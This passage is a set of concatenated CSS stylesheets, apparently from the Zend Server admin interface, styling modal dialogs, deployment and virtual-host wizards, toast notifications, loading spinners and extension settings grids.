  width: 600px;
  left: 20px;
  top: 20px;
  /* */

  position: absolute;
  position: fixed;
  margin: 0;
  color: #808080;
  font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
  font-size: 13px;
  font-weight: normal;
  line-height: 18px;
  background-color: #FFFFFF;
  /*
  border: 1px solid #EAEEFA;
  border: 1px solid rgba(234, 238, 250, 0.6);
  */
  /*
  -webkit-box-shadow: 0 0 3px rgba(0, 0, 0, 0.6);
  -moz-box-shadow: 0 0 3px rgba(0, 0, 0, 0.6);
  box-shadow: 0 0 3px rgba(0, 0, 0, 0.6);
  */
  z-index: 99999;
  /*
  border-radius: 6px;
  -webkit-border-radius: 6px;
  -moz-border-radius: 6px;
  */
}
.simple-modal .simple-modal-header {
  padding: 5px 15px;
  margin: 0;
  border-bottom: 1px solid #EEEEEE;
}
/*
.simple-modal .simple-modal-header h1 {
  margin: 0;
  color: #404040;
  font-size: 18px;
  font-weight: bold;
  font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
  line-height: 36px;
}
*/
.simple-modal a.close {
  position: absolute;
  right: 15px;
  top: 15px;
  color: #999;
  font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
  font-size: 17px;
  font-weight: normal;
  line-height: 10px;
  text-decoration: none;
}
.simple-modal a.close:hover {
  color: #444;
}
.simple-modal .simple-modal-body {
  padding: 15px;
  /* Extra style */

}
.simple-modal .simple-modal-body div.contents {
  overflow: hidden;
}
/*
.simple-modal .simple-modal-body p {
  font-size: 13px;
  font-weight: normal;
  color: #606060;
  line-height: 18px;
}
.simple-modal .simple-modal-body p img {
  display: block;
  margin: 0 auto 10px auto;
}
*/
.simple-modal .simple-modal-footer {
  display: block;
  background-color: #F5F5F5;
  padding: 14px 15px 15px;
  border-top: 1px solid #EEEEEE;
  -webkit-border-radius: 0 0 6px 6px;
  -moz-border-radius: 0 0 6px 6px;
  border-radius: 0 0 6px 6px;
  -webkit-box-shadow: inset 0 1px 0 #FFF;
  -moz-box-shadow: inset 0 1px 0 #FFF;
  box-shadow: inset 0 1px 0 #FFF;
  zoom: 1;
  margin-bottom: 0;
  text-align: center;
}
.simple-modal .simple-modal-footer a.btn {
  text-decoration: none;
  cursor: pointer;
  display: inline-block;
  background-repeat: no-repeat;
  padding: 5px 14px 6px;
  color: #333;
  font-size: 13px;
  line-height: normal;
  border: 1px solid transparent;
  -webkit-transition: 0.2s linear all;
  -moz-transition: 0.2s linear all;
  transition: 0.2s linear all;
  border-radius: 3px;
  -webkit-border-radius: 3px;
  -moz-border-radius: 3px;
}
.simple-modal .simple-modal-footer a.btn.primary {
  color: #FFF;
  text-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);
  background-color: #999;
  background-repeat: repeat-x;
  margin-right: 15px;
}
.simple-modal .simple-modal-footer a.btn.primary:hover {
  border: 1px solid #444;
  background-color: #444;
}
.simple-modal .simple-modal-footer a.btn.secondary {
  padding: 5px 2px 6px;
}
.simple-modal .simple-modal-footer a.btn.secondary:hover {
  color: #999;
}
/* Draggable style */
.simple-modal.draggable .simple-modal-header:hover {
  cursor: move;
  background-color: #f8f8f8;
  -webkit-border-top-left-radius: 6px;
  -webkit-border-top-right-radius: 6px;
  -moz-border-radius-topleft: 6px;
  -moz-border-radius-topright: 6px;
  border-top-left-radius: 6px;
  border-top-right-radius: 6px;
}
/* Loading style */
.simple-modal.loading .simple-modal-body {
  min-height: 60px;
  background: transparent url("/ZendServer/images/loader.gif") no-repeat center center;
}
.simple-modal.loading .simple-modal-body div.contents {
  display: none;
}
.simple-modal.loading .close, .simple-modal.loading .simple-modal-header, .simple-modal.loading .simple-modal-footer {
  display: none;
}
/* Hide header */
.simple-modal.hide-header .simple-modal-header {
  display: none;
}
/* Hide header */
.simple-modal.hide-footer .simple-modal-footer {
  display: none;
}

.simple-modal {
    border: 1px solid #000;
    width: auto;
    min-width: 200px;
}

.simple-modal .simple-modal-header {
    height: 24px;
    font-size: 12px;
    font-weight: bold;
    color: #CDDCE2;
    background: #2774a0;
    line-height: 24px;
    padding: 0 0 0 5px;
}

.simple-modal .simple-modal-body {
    min-height: 200px;
    overflow: auto;
}

.simple-modal .simple-modal-body h2 {
    font-size: 18px;
}

.simple-modal .simple-modal-footer {
    position: absolute;
    bottom: -21px;
    background: #2774A0;
    border: 0;
    margin: 0;
    width: 100%;
    padding: 7px 0;
    text-align: center;
    display: block;
    height: 27px;
    -webkit-border-radius: 0 0 0 0;
    -moz-border-radius: 0 0 0 0;
    border-radius: 0 0 0 0;
}

.simple-modal .simple-modal-footer .btn {
    margin: 0 14px;
    float: left;
}

.simple-modal .simple-modal-footer .btn.primary {
    float: right;
}

.simple-modal .disabled {
    color: gray;
    cursor: default;
}
/* Styling of the form before 
   the FormWizard Transformation */
/*
form {
  width: auto;
  background: #fff;
  padding: 10px;
  border-top: 2px solid #717171;
  margin-bottom: 3em;
}
*/
.wizard-control-area {
/* the wizard-control-area shouldn't be 
   in the page before the FormWizard Invocation
   (IN THIS EXAMPLE). Let's hide it if it is not
   there */
    display: none;
}

fieldset p {
  /* margin-top: 2em; */
}

fieldset {
    vertical-align: middle;
    border: 1px solid #e3e3e3;
  /* margin: 5px 40px; */
    position: relative;
    background: #FCFCFC;
  /* padding: 1.5em 0.5em 1em 1em; */
}

fieldset h2,
fieldset h3 {
    font-variant: capitalize;
    font-size: larger;
    padding: 10px 0;
}

fieldset h2 {
    font-size: 18px;
}

fieldset h3 {
    font-size: 14px;
}

.simple-modal {
    background: #FCFCFC;
    border: 0;
    color: #3b3b3b;
    -webkit-box-shadow: 0px 9px 17px 0px rgba(50, 50, 50, 0.77);
    -moz-box-shadow: 0px 9px 17px 0px rgba(50, 50, 50, 0.77);
    box-shadow: 0px 9px 17px 0px rgba(50, 50, 50, 0.77);
}

.centered-container {
    width: 100%;
    text-align: center;
    margin-left: 0;
    margin-right: 0;
}

#confirmEmail {
    font-weight: bolder;
}

/* Styles applied to the form after 
   the FormWizard transformation */

.wizard {
    border: 1px solid black;
    padding: 0;
    width: auto;
    width: 600px;
    height: 320px;
    position: relative;
}

.wizard table td {
    padding: 5px;
}

#settingsSet {
    width: 450px;
	/* margin-bottom: 26px; */
}

#defineApplicationForm .zend-form-table tr td:first-child {
    text-align: right;
    width: 140px;
    display: inline-block;
}

#defineApplicationForm .zend-form-table select,
#defineApplicationForm .zend-form-table input[type="text"] {
    width: 200px;
}

.required-field {
    font-weight: bold;
}

.wizard .unwizarded-only {
    display: none;
}

.wizard-control-area, 
.wizard #controlArea {
    position: absolute;
    bottom: 0;
    background: #2774a0;
    border: 0;
    border-top: 1px solid #96a5ac;
    margin: 0;
    width: 100%;
    padding: 7px 0;
    text-align: center;
    display: block;
    height: 27px;
}

.wizard > fieldset,
.wizard > form > fieldset {
    border: 0;
    margin: 0;
}

.side-legend {
    display: none;
}

.wizard .side-legend {
    float: left;
    width: 220px;
    height: 386px;
    display: block;
    padding: 10px;
    margin: 13px;
    background: url('/ZendServer/images/wizard/sidebar_bg.png') top right;
    border: 1px solid #e6e6e6;
    box-sizing: content-box;
}

.wizard .side-legend ul {
    padding: 0;
    margin: 20px 0;
}

.wizard .side-legend h1 {
    color: #2774A0;
    font-size: 28px;
    font-weight: normal;
    margin-left: 3px;
}

.wizard .wizard-page {
    float: left;
    width: 532px;
    padding: 0 10px 0 0;
}

.side-legend li {
    width: 224px;
    height: 40px;
    position: relative;
    background: url('/ZendServer/images/wizard/sidebar-element-bg.png') top right;
}

.side-legend li.legend_item.active {
    background: url('/ZendServer/images/wizard/sidebar-element-active-bg.png') top right;
}

.side-legend li.disabled,
.side-legend li[disabled="disabled"] {
    background: url('/ZendServer/images/wizard/sidebar-element-disabled-bg.png') top right;
}

.side-legend li.glyphicons {
    padding: 0;
}

.side-legend li i:before {
    left: 13px;
    top: 12px;
    font-size: 18px;
    color: #666;
}

.side-legend li.disabled i:before,
.side-legend li[disabled="disabled"]  i:before {
    color: #B6BFC3;
}

.side-legend li h2, 
.simple-modal .simple-modal-body li h2 {
    font-size: 13px;
    color: #666666;
    font-weight: normal;
    line-height: 40px;
	/* text-indent: 15px; */
	/* padding-left: 27px; */
    display: inline-block;
}

.side-legend li.disabled h2,
.side-legend li[disabled="disabled"] h2 {
    color: #b6bfc3;
}

.wizard .item-selected-arrow {
    background: url('/ZendServer/images/wizard/blue-triangle-arrow.png') top right no-repeat;
    height: 23px;
    width: 9px;
    position: absolute;
    top: 0;
    right: -9px;
    z-index: 1;
    display: none;
}

.wizard .info-icon {
    background: url('/ZendServer/images/wizard/question-mark-icon-dark.png') top right no-repeat;
    height: 12px;
    width: 12px;
    display: inline-block;
}

.wizard #deployment-installation-top {
    width: 353px;
}

.wizard .application-installation-logo {
    max-height: 55px;
    max-width: 100px;
    float: right;
}

.wizard #deployment-installation-top table {
    width: 372px;
    float: left;
    margin: 0;
}

.wizard .item-selected-help {
    background: url('/ZendServer/images/wizard/question-mark-icon.png') top right no-repeat;
    height: 12px;
    width: 12px;
    position: absolute;
    top: 5px;
    right: -1px;
    z-index: 1;
    display: none;
}

.update-servers-list {
    height: 185px;
    overflow-y: auto;
}
.update-servers-type-option {
    padding-top: 5px;
    padding-bottom: 5px;
}
.update-servers-list-curtain {
    position: absolute;
    width: 100%;
    height: 185px;
    overflow: hidden;
    background: #FFF;
    opacity: 0.85;
}
.ui-grid-table-icon {
    width: 14px;
    height: 14px;
    display: inline-block;
}
.nodes-list-cell {
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
}

.wizard-current-0 #sl0,
.wizard-current-1 #sl1,
.wizard-current-2 #sl2,
.wizard-current-3 #sl3, 
.wizard-current-4 #sl4,
.wizard-current-5 #sl5,
.wizard-current-6 #sl6,
.wizard-current-7 #sl7 {
    background: url('/ZendServer/images/wizard/sidebar-element-active-bg.png') top right;
}

.wizard-current-0 #sl0 .item-selected-help,
.wizard-current-1 #sl1 .item-selected-help,
.wizard-current-2 #sl2 .item-selected-help,
.wizard-current-3 #sl3 .item-selected-help, 
.wizard-current-4 #sl4 .item-selected-help,
.wizard-current-5 #sl5 .item-selected-help,
.wizard-current-6 #sl6 .item-selected-help,
.wizard-current-7 #sl7 .item-selected-help {
    display: block;
}

.wizard-current-first button.wizard-control-backward,
.wizard-current-last button.wizard-control-forward {
    visibility: hidden;
    display: none;
}

#authentication-settings-box, #deploymentWizard, #selective-access-box {
    width: 815px;
    height: 474px;
    border: 0px;
}

#defineWizard {
    width: 671px;
    height: 474px;
    border: 1px solid #000;
}

.wizard-title {
    display: none;
    height: 24px;
    font-size: 12px;
    font-weight: bold;
    color: #cddce2;
    background: #074f6d;
    line-height: 24px;
    padding-left: 5px;
}

.wizard-title.chart-wizard-title {
    display: block;
}

#wizard-control-forward {
    float: right;
    margin-right: 10px;
}

#wizard-control-backward,
#wizard-control-submit {
    margin: 0 3px;
    float: right;
}

#wizard-control-submit {
    display: none;
    margin-right: 10px;
}

#wizard-control-cancel {
    float: left;
    margin-left: 14px;
}

.wizard-page .page-wrapper {
    width: 100%;
    height: 416px;
    overflow-x: hidden;
    overflow-y: auto;
    padding: 10px 0 0 0;
}

.wizard-page code, .wizard-page pre {
    word-wrap: break-word;
    white-space: pre-wrap;
}

.wizard-page#licenseAgreementPage dd {
    margin: 0;
}

.wizard-page #readmeContent dd {
    margin-left: 12px;
    margin-right: 20px;
}

.wizard-page #eulaContent,
.wizard-page #readmeContent,
.wizard-page #licenseAgreementContent {
	width: 500px;
    height: 282px;
    margin-bottom: 10px;
}

#bootstrapWizard .wizard-page #eulaContent,
#bootstrapWizard .wizard-page #readmeContent,
#bootstrapWizard .wizard-page #licenseAgreementContent {
    width: 98%;
 /* Bootstrap wizard */
    height: 342px;
}
/* REMOVE AFTER ADD NEW APPLICATION PAGE*/
.wizard-page #accept-terms-label {
    float: right;
    text-align: left;
    width: 444px;
}

.wizard-page #accept-terms {
    float: left;
}

/*EOF REMOVE */
.wizard-page #eulaContent {
    resize: none;
    font-family: Arial, Helvetica, sans-serif;
    font-size: 12px;
}

.wizard-page h2,
.wizard-page h3 {
    color: #96a5ac;
}

.wizard-page h2 {
    font-size: 18px;
    color: #2774A0;
    font-weight: normal;
}

.wizard-page h3 {
    font-size: 14px;
    font-weight: bold;
}

.wizard-page p {
    color: #3b3b3b;
    line-height: 16px;
    font-size: 12px;
}

.wizard-page #summaryContent {
    position: relative;
}

.wizard-page .application-wizard-logo {
    top: 0px;
    max-height: 55px;
    max-width: 100px;
}

.wizard-page .application-user-params {
}

.wizard-page .application-user-params dt {
    display: inline-block;
    width: 36%;
    margin: 10px 0 0 0;
    padding-right: 10px;
    text-align: right;
    vertical-align: top;
    color: #93A3AB;
    font-size: 13px;
    font-weight: bold;
}

.wizard-page .application-user-params dd {
    display: inline-block;
    width: 60%;
    margin: 10px 0 0 0;
    text-align: left;
    vertical-align: top;
}

#defineError {
    display: block;
    max-width: 230px;
    margin: 5px 0;
    padding: 0;
    text-align: left;
    color: red;
    vertical-align: top;
}

.wizard-page .application-user-params dd .errors {
    display: block;
    max-width: 230px;
    margin: 5px 0;
    padding: 0;
    text-align: left;
    color: red;
    vertical-align: top;
}

.wizard-page .application-user-params .description {
    display: none;
}

.wizard-page .application-user-params input[type="text"], 
.wizard-page .application-user-params input[type="password"], 
.wizard-page .application-user-params input[type="email"], 
.wizard-page .application-user-params select {
    width: 150px;
}

.wizard-page .application-user-params input[readonly] {
    color: gray;
}

#deployment-set-installation table tr td:first-child {
    width: 100px;
}

#deployment-set-installation input {
    width: 220px;
}

#deployment-set-installation select {
    width: 150px;
}

.wizard .section {
    width: 73px;
}

#default-server-message, .default-server-message,
.default-template-message {
    padding-left: 25px;
    margin-top: 7px;
    font-style: italic;
    position: relative;
    color: #525252;
}

#default-server-message, .default-server-message {
    margin-left: 20px;
}

.wizard #default-server-message:before,
.wizard .default-server-message:before,
.wizard .default-template-message:before {
    content: "\e197";
    font: 24px/1em 'Glyphicons Regular';
    font-style: normal;
    color: #1D1D1B;
    font-size: 15px;
    position: absolute;
    top: 10px;
    left: 2px;
    color: #525252;
}

.wizard .default-server-message {
    background: none;
}

#summaryPage #default-server-message {
    background-color: #e4f5ff;
    border: 1px solid #bce8f1;
    margin: 0;
    margin-bottom: 10px;
    padding: 5px 5px 5px 35px;
    width: 65%;
}

#summaryPage #default-server-message:before {
    left: 10px;
    top: 17px;
    color: #2774a0;
}

.server-warning-message {
    background: #FFF7C9;
    border: 1px solid #CFC799;
    margin-right: 20px;
    margin-left: 20px;
    padding: 5px 10px;
}

#devbar-message {
    padding-left: 25px;
    padding-right: 25px;
    margin-left: 15px;
    margin-top: 7px;
    font-style: italic;
    position: absolute;
    bottom: 25px;
    background: url('/ZendServer/images/apps-status-warning.png') left 2px no-repeat;
}

#devbar-message.enabledStatus {
    background: url('/ZendServer/images/apps-status-ok.png') left 2px no-repeat;
}
/* in the summary and prereq pages */
.wizard-display-list h2 {
    font-size: 16px;
    color: #96a5ac;
}

.wizard-display-list {
    color: #3b5866;
}

#defineApplicationForm table {
    margin-bottom: 0;
}

#define-wizard-logo-label {
    color: #3b3b3b;
    float: left;
    margin: 15px 0 0 -13px;
    width: 142px;
    text-align: right;
    padding-right: 40px;
}

#define-wizard-uploader-wrapper input[type="file"] {
    width: 235px;
    float: left;
    margin-top: 12px;
}

#define-wizard-uploader-wrapper #droppable {
    margin-top: 10px;
    margin-left: 10px;
    float: left;
    clear: both;
    width: 83%;
}

#defineWizard .wizard-page .page-wrapper {
    overflow: hidden;
}

.zend-form-deploy-wizard .error-wrapper ul {
    margin: 0 0 0 2px;
    list-style-type: none;
    padding: 0;
    font-size: 11px;
    color: #FF5400;
}

.wizard .message-box {
    border-radius: 0;
    padding-left: 10px;
    font-weight: normal;
    font-size: 12px;
}

.wizard .message-box.ok {
    background: #d9edf7;
    border-color: #bce8f1;
    color: #2774a0;
}

.wizard .message-box.ok:before {
    content: 'Success!';
    font-weight: bold;
    margin-right: 10px;
}

.wizard .message-box.error {
    background: #FFEEE5;
    border-color: #FF5400;
    color: #FF5400;
}

.wizard .message-box.error:before {
    content: 'Error!';
    font-weight: bold;
    margin-right: 10px;
}

.wizard .message-box.notice {
    background: #FFEEE5;
    border: 1px solid #E88D00;
    color: #E88D00;
}

.wizard .message-box.notice:before {
    content: 'Notice!';
    font-weight: bold;
    margin-right: 10px;
}

.simple-modal.hide-header .simple-modal-header {
    height: 0;
}

.simple-modal .simple-modal-body h2,
.ngdialog .ngdialog-page h2 {
    margin-bottom: 10px;
    color: #2774A0;
    font-weight: normal;
    font-size: 18px;
    word-break: break-word;
}

.simple-modal .simple-modal-body>h2,
.ngdialog .ngdialog-content>h2,
.ngdialog .ngdialog-content .content-padded>h2 {
    font-weight: 600;
}

#selective-access-box.wizard fieldset.wizard-page div.page-wrapper {
    width: 535px;
    height: 400px;
}

.ngdialog.ngdialog-theme-default .ngdialog-content .divKey {
	padding-bottom: 10px;
	padding-top: 10px;
	padding-left: 15px;
}

.ngdialog.ngdialog-theme-default .ngdialog-content label {
	padding-right: 10px;
}
.ngdialog.ngdialog-theme-default .ngdialog-content .wizard-input-error {
	border: 1px solid #C11;
}

/* Some corrections for the VHost wizard */
.ngdialog.ngdialog-theme-default .ngdialog-content .vhost-wizard .vhost-small-informative-text {
	font-size: 12px;
	padding-bottom: 20px;
}

.ngdialog.ngdialog-theme-default .ngdialog-content .vhost-wizard .vhost-required-field {
	color: #C11;
	cursor: help;
}
.ngdialog.ngdialog-theme-default .ngdialog-content .vhost-wizard .required-fields-label {
	font-size: 10px;
	color: #C11;
}
.ngdialog.ngdialog-theme-default .ngdialog-content .vhost-wizard label {
	font-weight: normal;
	font-size: 12px;
}
.ngdialog.ngdialog-theme-default .ngdialog-content .vhost-wizard input {
	width: initial;
}
.ngdialog.ngdialog-theme-default .ngdialog-content .vhost-wizard label.vhost-form-label {
	display: inline-block;
	width: 120px;
}
.ngdialog.ngdialog-theme-default .ngdialog-content .vhost-wizard .form_field {
	margin-bottom: 10px;
}
.ngdialog.ngdialog-theme-default .ngdialog-content .vhost-wizard .vhost-errors {
	font-size: 12px;
	color: #C11; 
	display: inline-block;
	margin-left: 10px;
}
.ngdialog.ngdialog-theme-default .ngdialog-content .vhost-wizard input[type="radio"] {
	vertical-align: middle;
}
.ngdialog.ngdialog-theme-default .ngdialog-content .vhost-wizard .vhost-info-message {
	font-style: italic;
	color: #666;
}
.ngdialog.ngdialog-theme-default .ngdialog-content .vhost-wizard .vhost-info-sign {
	float: left; 
	color: #2774A0; 
	margin-right: 10px; 
	height: 30px;
}
.ngdialog.ngdialog-theme-default .ngdialog-content .vhost-wizard .vhost-wizard-template {
	padding: 10px;
	overflow: auto;
	font-size: 12px;
	line-height: 15px;
	border: 1px solid #ccc;
	box-sizing: border-box;
	font-size: 12px;
	font-family: consolas, monospace;
	height: 200px;
	width: 100%;
}
.ngdialog.ngdialog-theme-default .ngdialog-content .vhost-wizard .vhost-validation-error {
	padding: 10px 15px;
	color: #C11;
}

@CHARSET "ISO-8859-1";

.zgrid .extensionsTable {
    padding: 9px;
}

.zgrid .extensionsTable .directivesTableColumns {
    width: 535px;
    float: left;
}

.zgrid .extensionsTable .directivesTableColumns:first-child {
    margin-right: 13%;
}

.zgrid .extensionsTable td {
	/* width: 50%; */
}

.zgrid .directivesTableContent {
    width: 545px;
}

.zgrid .directivesTableContent h1 {
    margin-bottom: 5px;
}

.zgrid .directivesTableContent label {
    font-size: 11px;
}

.zgrid .directivesTableContent td {
    color: #122833;
    padding-bottom: 15px;
    vertical-align: middle;
}

.zgrid .directivesTableContent tr td {
    padding: 0 10px 18px 10px;
}

.zgrid .directivesTableContent tr td:first-child {
    width: 100%;
    line-height: 10px;
    padding-right: 40px;
}

.zgrid .directivesTableContent tr td:last-child {
    min-width: 133px;
}

.on-button,
.off-button {
    width: 65px;
    height: 22px;
    display: block;
    cursor: pointer;
}

.on-button {
    background: url("/ZendServer/images/on-button-all.png") 0 0 no-repeat;
}

.off-button {
    background: url("/ZendServer/images/off-button-all.png") 0 0 no-repeat;
}

.on-button:hover,
.off-button:hover {
    background-position: -135px 0;
}

.on-button:active,
.off-button:active {
    background-position: -67px 0;
}

.zgrid .emptyContent tr td {
    font-size: 12px;
    font-weight: bold;
    overflow: hidden;
    padding-right: 10px;
    padding-left: 10px;
    text-align: left;
    white-space: nowrap;
}

h3.import-export-configurations {
    background-image: url(/ZendServer/images/settings/export-import.png);
}

h3.reset-configurations {
    background-image: url(/ZendServer/images/settings/sync-restar-icon.png);
}

input {
    border: 1px solid #C7C7C7;
    /* padding-right: 20px; */
    color: #000;
    -webkit-transition: padding 0.3s;
    background-position: right;
    -moz-border-radius: 2px;
    -webkit-border-radius: 2px;
    -khtml-border-radius: 2px;
    border-radius: 2px;
}

input[type="number"], select {
    padding-right: 0;
 /* decrease/increase arrows displayed incorrectly when using padding */
}

.jqsettings {
	margin-left: 27px;
}

input[type="file"] {
    border: 0;
}

input.validating {
    background-image: url(/ZendServer/images/preload-16.gif);
    background-repeat: no-repeat;
    background-position: right;
    padding-right: 20px;
}

input.highlight-valid {
    border: solid 3px green;
    background-color: #CCFFCC;
}

input.invalid, div.invalid {
    border: 1px solid red;
}

.grid-action-bar #clear {
    float: right;
    margin-top: 5px;
    color: red;
    font-size: 10px;
}

.tooltip {
    padding: 4px;
    background-color: white;
    border: 1px solid black;
}

.directive_field_boolean_facade {
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    -o-user-select: none;
    user-select: none;
}

.input-error {
    background: yellow;
}

components-status-col>div {
    margin-top: 0 !important;
}

.ui-grid .extensionsTable .directive {
    display: inline-block;
    width: 46%;
    margin: 8px 25px;
}

.ui-grid .extensionsTable .directive>div {
    display: inline-block;
}

.ui-grid .extensionsTable .directive>div:first-child {
    width: 50%;
    padding-right: 50px;
	box-sizing: border-box;
}
.ui-grid .extensionsTable .directive>div:nth-child(2) {
	width: 48%;
}
.ui-grid .extensionsTable .directive>div:nth-child(2) input,
.ui-grid .extensionsTable .directive>div:nth-child(2) select {
	max-width: 100%;
}

.ui-grid .extensionsTable .directive h1 {
    font-size: 12px;
	
	overflow: hidden;
	text-overflow: ellipsis;

}

.ui-grid .extensionsTable .directive label {
    font-size: 11px;
}

.ui-grid .extensionsTable .extensionDescription {
    padding: 15px;
    font-size: 12px;
}

.ui-grid .extensionsTable input {
    transition: border 0.5s;
}

.ui-grid .extensionMessage {
    padding: 7px 15px;
}

.ui-grid .componentMessage {
    white-space: nowrap;
	text-overflow: ellipsis;
	overflow: hidden;
}

select.mailSsl:disabled, select.authenticationMethod:disabled {
	background-color: rgb(235, 235, 228);
}
.comp-units{
    margin-left: 5px;
    line-height: 28px;
    text-transform: capitalize;
}
@CHARSET "ISO-8859-1";

.toast {
    max-width: 600px;
    padding: 8px 35px 8px 45px;
    margin-bottom: 18px;
    text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);
    border: 1px solid #FBEED5;
    position: fixed;
    top: 80px;
    z-index: 100000;
 /* simple modal is 99998 and 99999 */
    font-weight: bold;
    opacity: 0.8;
    filter: alpha(opacity=80);
 /* For IE8 and earlier */
    box-shadow: 2px 2px 5px #888888;
    -moz-border-radius: 2px;
    -webkit-border-radius: 2px;
    -khtml-border-radius: 2px;
    border-radius: 2px;
}

.toast.hidden {
    display: none;
}

.toast.notification {
    background: #EDF7E5 url('/ZendServer/images/ok-message-icon.png') 12px center no-repeat;
    border-color: #50b404;
    color: #50b404;
}

.toast.notice,
.toast.alert {
    background: #FFF url('/ZendServer/images/error-message-icon.png') 12px center no-repeat;
    border-color: #FF5400;
    color: #FF5400;
}

.toast.warning {
    background: #FFF url('/ZendServer/images/warning-message-icon.png') 12px center no-repeat;
    border-color: orange;
    color: orange;
}

.toast .content {
    float: left;
    border: 0px;
    background: transparent;
}

.toast .close {
    position: absolute;
    top: 10px;
    right: 8px;
    cursor: pointer;
    line-height: 18px;
    color: black;
    text-shadow: 0 1px 0 white;
    opacity: 0.2;
    filter: alpha(opacity=20);
    font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
    font-size: 20px;
    font-style: normal;
    font-variant: normal;
    font-weight: bold;
    height: 18px;
    box-sizing: border-box;
}

.toast .close:hover {
    color: black;
    text-decoration: none;
    opacity: 0.4;
    filter: alpha(opacity=40);
    cursor: pointer;
}

.toast.static {
    box-shadow: none;
    position: relative;
    display: inline-block;
    left: 0;
    top: 0;
    margin: 0;
    opacity: 1;
    z-index: 3;
}
@CHARSET "UTF-8";

div[class^="spinner"] {
    position: relative;
    opacity: 0.9;
    filter: alpha(opacity=90);
    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=90)";
    z-index: 999;
    background: #fff;
}

div[class^="spinner"] .spinner-msg {
    text-align: center;
    font-weight: bold;
}

.spinner .spinner-img {
    position: relative;
    right: 45%;
    top: 2px;
    background: url(/ZendServer/images/preload-16.gif) left top no-repeat;
    width: 16px;
    height: 16px;
}

.spinner-large .spinner-img {
    background: url(/ZendServer/images/preload-48.gif) left top no-repeat;
    width: 48px;
    height: 48px;
    margin: 3px auto;
}

/* High charts spinner */
.highcharts-loading span {
    background: url(/ZendServer/images/preload-48.gif) left top no-repeat;
    height: 48px;
    width: 48px;
    display: block;
    margin: 10px auto;
}

/* map charts spinner */
.map-loading {
    position: absolute;
    background-color: white;
    opacity: 0.5;
    text-align: center;
    left: 0;
    top: 0;
    width: 100%;
    height: 100%;
    z-index: 10;
}

.map-loading span {
    background: url(/ZendServer/images/preload-48.gif) left top no-repeat;
    height: 48px;
    width: 48px;
    display: block;
    margin: 20px auto;
    font-weight: bold;
    position: relative;
    top: 1em;
}

@CHARSET "US-ASCII";

[page="vhost"] .wizard {
    width: 815px;
    height: 515px;
    border: 0px;
}

[page="vhost"] .wizard .side-legend {
    height: 435px;
}

[page="vhost"] .wizard fieldset.wizard-page {
    width: 500px;
    min-height: 482px;
    float: none;
}

[page="vhost"] .wizard fieldset.wizard-page div.page-wrapper {
    width: 100%;
    height: 100%;
}

[page="vhost"] .add-vhost-wizard-modal.simple-modal {
    width: 815px;
}

[page="vhost"] .wizard fieldset.page-wrapper, .wizard ul.side-legend {
	/* height: 500px; */
}

[page="vhost"] fieldset {
    width: 500px;
    margin: 12px;
}

[page="vhost"] .form_elements-table {
    width: auto;
}

[page="vhost"] .tableDescContent td.explanations {
    white-space: pre-wrap;
    width: 40px;
    text-align: left;
    font-weight: normal;
    padding-top: 0;
}

[page="vhost"] .vhost-errors {
    width: 201px;
    padding-top: 3px;
}

[page="vhost"] #vhost-template-errors {
    margin-bottom: 6px;
    text-align: left;
}

[page="vhost"] #ssl-extra-fields {
    width: 484px;
}

[page="vhost"] #ssl-extra-fields .validation-advice {
    max-height: 146px;
}

[page="vhost"] .validation-advice {
    word-wrap: break-word;
    overflow-wrap: break-word;
    overflow: hidden;
}

[page="vhost"] input.validation-failed,
[page="vhost"] textarea.validation-failed {
    border: 2px solid red;
}

[page="vhost"] .validation-advice {
    color: red;
}

[page="vhost"] .warning-advice {
    color: #32505d;
}

[page="vhost"] .floating-tip-wrapper {
    z-index: 100000 !important;
}

[page="vhost"] div.form_field:first-child {
    margin-top: 18px;
}

[page="vhost"] div.form_field:last-child {
    margin-top: 14px;
    margin-bottom: 0;
}

[page="vhost"] fieldset.tight_form_fieldset {
    margin-bottom: 6px;
}

[page="vhost"] fieldset.tight_form_fieldset div.form_field {
    margin: 10px 0;
}

[page="vhost"] .form_field {
	/*margin-bottom: 55px;*/
}

[page="vhost"] .form_field label {
    width: 170px;
    display: inline-block;
}

[page="vhost"] .form_field input[type="text"] {
    width: 150px;
}

[page="vhost"] .form_field-large.form_field label {
    display: block;
    width: 210px;
}

[page="vhost"] #ssl-enabled {
    vertical-align: -2px;
}

[page="vhost"] .vhost-form-response-error {
    position: relative;
    z-index: 1000;
    top: 0;
    margin-bottom: 8px;
    opacity: 1;
    /*word-break: break-all;*/
    word-wrap: break-word;
}

[page="vhost"] #vhost-ssl-errors-message.masked-error {
    text-align: inherit;
}

[page="vhost"] .masked-error {
    padding: 10px 15px 10px 15px;
    text-align: center;
}

[page="vhost"] .mask {
    opacity: 1;
}

[page="vhost"] .default-note-message {
    padding-left: 25px;
    margin-top: 7px;
    margin-bottom: 5px;
    font-style: italic;
    position: relative;
    color: #525252;
}

[page="vhost"] .default-note-message i:before {
    background: url('/ZendServer/images/info.png') left top no-repeat;
    display: inline-block;
    position: absolute;
    font-size: 17px;
    content: "";
    height: 16px;
    width: 16px;
    top: 7px;
    left: 1px;
}

[page="vhost"] .default-template-message:before {
    color: #ff4a00;
}

[page="vhost"] .default-template-message.disabled:before {
    color: #525252;
}

[page="vhost"] .vhostDetails .content-labels-values label {
    display: inline-block;
    width: 160px;
}

.vhostDetails .content-labels-values span,
.vhostDetails .content-labels-values pre {
}

.vhostsSubList .tableWithDesc td {
    padding: 4px;
}

.serverRow .serverRow-icon img {
    vertical-align: middle;
}

.serverRow .serverRow-icon {
    width: 24px;
}

.serverRow .serverRow-name {
    width: 200px;
}

.serverRow .serverRow-messages {
    white-space: normal;
}

.applicationRow-baseUrl, .applicationRow-installedLocation {
    font-family: Courier New;
}

#vhost-form {
	/*margin-bottom: 43px;*/
}

#Autocompleter-vhost-port .mui-autocompleter-menu {
    width: 85px;
}

.removedLine {
    color: red;
}

.addedLine {
    color: green;
}

.regularLine {
    color: gray;
}

fieldset.wizard-page.display-error textarea#vhost-template-textarea {
    max-height: 228px;
}

/* For template display in zgridVhostDetails */
.templateTextarea {
    padding: 10px;
    width: 750px;
    overflow: auto;
    font-size: 12px;
    line-height: 15px;
    border: 1px inset #ccc;
    background-color: white;
    font: 12px courier, monospace black;
}

